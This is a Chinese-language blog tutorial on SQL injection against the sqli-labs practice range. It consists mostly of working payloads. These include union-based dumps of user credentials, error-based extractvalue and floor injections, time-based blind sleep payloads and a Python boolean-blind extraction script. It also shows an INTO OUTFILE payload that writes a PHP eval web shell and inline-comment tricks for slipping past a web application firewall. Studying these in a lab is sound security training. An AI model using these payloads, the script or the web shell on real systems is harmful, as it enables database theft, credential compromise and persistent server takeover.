and 1=1 和 and 1=2,我们发现如果是字符型,就算是逻辑错位回显也是正确的,而整数型则无回显
1.2 方法二
利用数字型可以计算,而字符型不可以进行计算,通过此来判断。
二、添加注释,查看是否正常显示
常见的注释符号:`--+`、`-- +`、`#`、`%23`、`-- -`
三、闭合的作用
添加闭合符号,是为了使前一段语句正常执行且去掉后面语句的限制
对于后面的语句,可以使用注释符号注释掉,避免产生错误信息
$id=$_GET['id']; $sql='select * from users where id=$id'; ?id=1' --+ $id=1' --+ $sql='select * from users where id=$id'; select * from users where id=' 1' --+ '
http://192.168.27.134:82/Less-1/?id=1 and 1=2 #当输入1=2时,页面正常回显,判断为字符型
三、判断闭合类型
() 、' ' 、" " 、(' ') 、(" ")、 ((' ')) 、((" "))
之后再进行注释。
#构造payload http://192.168.27.134:82/Less-1/?id=1' #发现报错为 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1 #此时可以推断其查询语句为 select * from [表] where id='$_GET['id']' #所以当我们输入1'未闭合导致报错
四、判断列数
order by或group by都可达到效果。推荐使用二分法,比如order by 10发现报错后order by 5这样子进行分化。
#构造payload http://192.168.27.134:82/Less-1/?id=1' order by 4 --+ http://192.168.27.134:82/Less-1/?id=1' order by 3 --+
有时,order by会被过滤,这个时候就可以使用group by
#构造payload
http://192.168.27.134:82/Less-1/?id=1' group by 3 --+
http://192.168.27.134:82/Less-1/?id=1' group by 4 --+
五、查询回显位
#构造payload http://192.168.27.134:82/Less-1/?id=-1' union select 1,2,3 --+ #要注意的是,需要将1改为一个负数或非常大的数字,目的是让我们的恶意语句要查询的东西显示出来
六、查询数据
6.1 查当前数据库与用户名
#构造payload http://192.168.27.134:82/Less-1/?id=-1' union select 1,database(),user() --+
6.2 查看表
#构造payload http://192.168.27.134:82/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
6.3 查表
#构造payload http://192.168.27.134:82/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name = 'users' --+
6.4 查数据
#构造payload http://192.168.27.134:82/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from security.users --+
# 用数字作为字段名 不报错 select extractValue(1,'/student/id') from xml; # 错误的字段名查询(字符) select extractValue(con,'/student/id') from xml; # 报错: 未知column
选用它的原理是因为传入不符合xml语法的特殊字符串,触发了函数解析错误,强制数据库返回错误信息。
1.3 案例
1.3.1 判断注入点
1.3.2 判断注入类型
http://192.168.27.134:82/Less-5/?id=1' --+
1.3.3 查库名
http://192.168.27.134:82/Less-5/?id=1' and extractvalue(1,concat('~',database())) --+
1.3.4 表名
http://192.168.27.134:82/Less-5/?id=1' and extractvalue(1,concat('~',((select group_concat(table_name) from information_schena.tables where table_schema=database()))) --+
1.3.5 列名
http://192.168.27.134:82/Less-5/?id=1' and extractvalue(1,concat('~',((select group_concat(column_name) from information_schena.columns where table_schema=database() and table_name='users'))) --+
1.3.6 查数据
http://192.168.27.134:82/Less-5/?id=1' and extractvalue(1,concat('~',substr((select group_concat(username,'~',password) from users),1,30))) --+
http://192.168.27.134:82/Less-5/?id=1' union select 1,count(*),concat_ws('~',database(),floor(rand(0)*2)) as a from information_schema.tables group by a --+
import requests import time #判断数据库长度 def is_database_length_true(url,payload): respone = requests.get(f'{url}?id={payload}') return respone.text #判断数据库的名字 def is_database_name_true(url,payload): respone = requests.get(f'{url}?id={payload}') return respone.text def is_databse(url): for i in range(1,99): payload = f"1' and length(database())= {i}--+" respone = is_database_length_true(url,payload) if 'You are in' in respone: print(f'数据库长度为{i}') break arr = [] for k in range(1,i+1): for j in range(21,127): payload = f"1' and ascii(substr(database(),{k},1))={j}--+" respone = is_database_name_true(url,payload) if 'You are in' in respone: print(f'数据库名的第{k}个字符为{chr(j)}') arr.append(chr(j)) print('数据库名:', ''.join(arr)) def is_table_name_true(url,payload): respone = requests.get(f'{url}?id={payload}') return respone.text def is_table_total(url,payload): respone = requests.get(f'{url}?id={payload}') return respone.text def is_table_name(url, target_index=None): """ 探测表名信息,支持选择特定表进行探测 :param url: 目标URL :param target_index: 可选,指定探测的表索引(从0开始),不指定则探测所有表 :return: 表信息列表,每个元素为{"index": 序号, "name": 表名} """ # 1. 获取表的总数量 table_count = None for i in range(1, 99): payload = f"1' and (select count(table_name) from information_schema.tables where table_schema = database())= {i}--+" response = is_table_total(url, payload) if 'You are in' in response: table_count = i print(f'表的总数量为: {i}') break if not table_count: print("无法获取表的总数量") return [] # 2. 确定需要探测的表范围 tables_to_check = range(table_count) if target_index is not None: if 0 <= target_index < table_count: tables_to_check = [target_index] else: print(f"指定的表索引{target_index}超出范围(0-{table_count - 1})") return [] # 3. 探测表名(使用列表存储字典,结构化保存信息) table_list = [] for j in tables_to_check: table_info = {"index": j + 1, "name": ""} # 3.1 探测表名长度 name_length = None for l in range(1, 99): payload = f"1' and length((select table_name from information_schema.tables where table_schema = database() limit {j},1))= {l}--+" response = is_table_name_true(url, payload) if 'You are in' in response: name_length = l print(f'第{j + 1}个表名长度为: {l}') break if not name_length: table_list.append(table_info) continue # 3.2 探测表名每个字符 name_chars = [] for x in range(1, name_length + 1): for k in range(32, 127): # 限制在可打印字符范围 payload = f"1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit {j},1),{x},1))={k}--+" response = is_table_name_true(url, payload) if 'You are in' in response: char = chr(k) name_chars.append(char) print(f'第{j + 1}个表的第{x}个字符为: {char}') break table_info["name"] = ''.join(name_chars) table_list.append(table_info) # 4. 输出结果 print("\n探测到的表名信息:") for table in table_list: print(f'表{table["index"]}: {table["name"]}') return table_list def is_column_total(url,payload): respone = requests.get(f'{url}?id={payload}') return respone.text def is_column_name_true(url,table_name): column_total = None for i in range(1,99): payload = f"1' and (select count(column_name) from information_schema.columns where table_schema = database() and table_name = '{table_name}')= {i}--+" respone = is_column_total(url,payload) if 'You are in' in respone: column_total = i print(f'总列数为: {i}') break url = 'http://192.168.27.134:82/Less-8/' is_databse(url) table_list = is_table_name(url) while True: name = input("请选择你要选择的表名(用数字表示,第一个元素为0):") if 0 <= int(name) <= len(table_list): break else: print("请输入正确的表名序号") is_column_name_true(url,table_name=table_list[int(name)]['name'])
1.1 靶场实测
1.2.1 判断注入类型
http://192.168.27.134:82/Less-8/?id=1 and 1=2 --+ http://192.168.27.134:82/Less-8/?id=1 and 1=1 --+
突发奇想,我觉得没必要判断1=1啊,因为1=2才是关键!!!!
1.2.2 判断闭合方式
http://192.168.27.134:82/Less-8/?id=1' and 1=2 --+ http://192.168.27.134:82/Less-8/?id=1' and 1=1 --+
1.2.3 获取数据库名
http://192.168.27.134:82/Less-8/?id=1' and ascii(substr(database(),1,1))>=116 --+
后续就不展示图片了
1.2.4 表名
http://192.168.27.134:82/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>=100 --+
1.2.5 列名
http://192.168.27.134:82/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))>=110 --+
uname=admin' and if(length(database())<=10,sleep(3),3) -- + &passwd=admin&submit=Submit
8.2.3 数据库名
uname=admin' and if(ascii(substr(database(),1,1))>=116,sleep(3),3) -- +&passwd=admin&submit=Submit
8.2.4 表名
uname=admin' and if(ascii(substr((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1,1))>=10,sleep(3),3) -- +&passwd=admin&submit=Submit
8.2.5 列名
uname=admin' and if(ascii(substr((select+column_name+from+information_schema.columns+where+table_schema=database()+and+table_name+=+'users'+limit+0,1),1,1))>=10,sleep(3),3) -- +&passwd=admin&submit=Submit
8.2.6 查数据
uname=admin' and if(ascii(substr((select username from users limit 0,1),1,1))>=10,sleep(3),3) -- +&passwd=admin&submit=Submit
# OR在逻辑运算符中为或的意思,通常是如果OR前面的语句为真,就会执行前者,略过OR后面的语句。但是在实际的过程里,有一个很有趣的现象。执行与否好像还与OR后面的语句有关。 # 我们对比一下以下语句,这里就不放截图了,因为是原理性的问题。并且说明为什么'就可以,而1'有时可以,有时不可以的原因 1' or extractvalue(1,concat('~',database())),1 ) # 可以报错 ' or extractvalue(1,concat('~',database())),1 ) # 可以报错 ' or extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database() ))),1 ) # 可以报错 1' or extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database() ))),1 ) # 不可以报错 # 一句话总结 # 报错注入里,1' 会触发 MySQL 的数字 fallback。后面的表达式如果还能被解析,就执行报错函数;解析不了就丢弃整个 payload,只剩 1。短的表达式能解析所以报错,长的子查询解析不了所以直接失效。换成 AND 就不会被短路。所以我们应该使用'或0让其为假。这样无论怎么都可以使我们的后面语句报错。
9.1.1 代码分析
一扫二审三放弃
function check_input($value) { if(!empty($value)) { // truncation (see comments) $value = substr($value,0,20); } // Stripslashes if magic quotes enabled if (get_magic_quotes_gpc()) { $value = stripslashes($value); } // Quote if not a number if (!ctype_digit($value)) { $value = "'" . mysql_real_escape_string($value) . "'"; }
# 方法一 show variables like '%secure%'; # 方法二 select @@secure_file_priv;
知道绝对路径
要有secure_file_priv
读写权限在这里打开
11.2 写入一句话木马
http://192.168.27.134:82/Less-7/?id=1')) union select 1,2,"<?php @eval($_POST['password']); ?>" into outfile "D:\\phpstudy\\phpstudy_pro\\WWW\\sakura.php" --+
# join 语句被拦截 ?id=-1' union/*/!*!!*/ select * from (select * from users as a join users 44000as b)as c --+ # 逐步分析,直到以下语句均未被拦截 ?id=-1' union/*/!*!!*/ select * from (select * from --+ # 拦截 ?id=-1' union/*/!*!!*/ select * from (select * from users --+ # 破坏users后依然拦截 ?id=-1' union/*/!*!!*/ select * from (select * from u --+
# 以上判断from和users之间需要混淆,内联注释混淆后未拦截 ?id=-1' union/*/!*!!*/ select * from (select * from/*/!*!!*/ users --+ # 继续完善语句,拦截 ?id=-1' union/*/!*!!*/ select * from (select * from/*/!*!!*/ users as --+
评论(0)
暂无评论